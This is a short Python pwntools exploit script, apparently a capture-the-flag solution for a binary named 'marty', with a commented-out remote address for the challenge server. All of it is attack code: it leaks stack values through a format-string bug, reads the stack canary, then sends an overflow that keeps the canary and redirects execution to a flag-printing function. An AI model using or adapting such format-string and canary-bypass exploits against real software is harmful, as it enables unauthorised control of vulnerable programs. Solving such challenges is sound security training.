from pwn import *
context.log_level = 'debug'
process_name = './marty'

#p = remote('220.249.52.133', 42898)
p=process("./marty")


def fmt_str(payload, choice):
	p.sendlineafter('3. Exit the battle \n', str(choice))
	p.sendline(payload)
	info = p.recvline().splitlines()[0]
	return info

payload = 'AAAA.1.%1$#x.2.%2$#x.3.%3$#x.4.%4$#x.5.%5$#x.6.%6$#x.7.%7$#x.8.%8$#x.'
print fmt_str(payload, 2)


step = 6
num = step+(0x90-8)/8
payload = '%'+str(num)+'$p'

canary = int(fmt_str(payload, 2).split('x', 1)[1], 16)
log.info("canary => %#x", canary)

get_flag_addr = 0x4008DA
payload = 'A'*(0x90-8) + p64(canary) + 'A'*8 + p64(get_flag_addr)
fmt_str(payload, 1)
print(payload)
p.interactive()
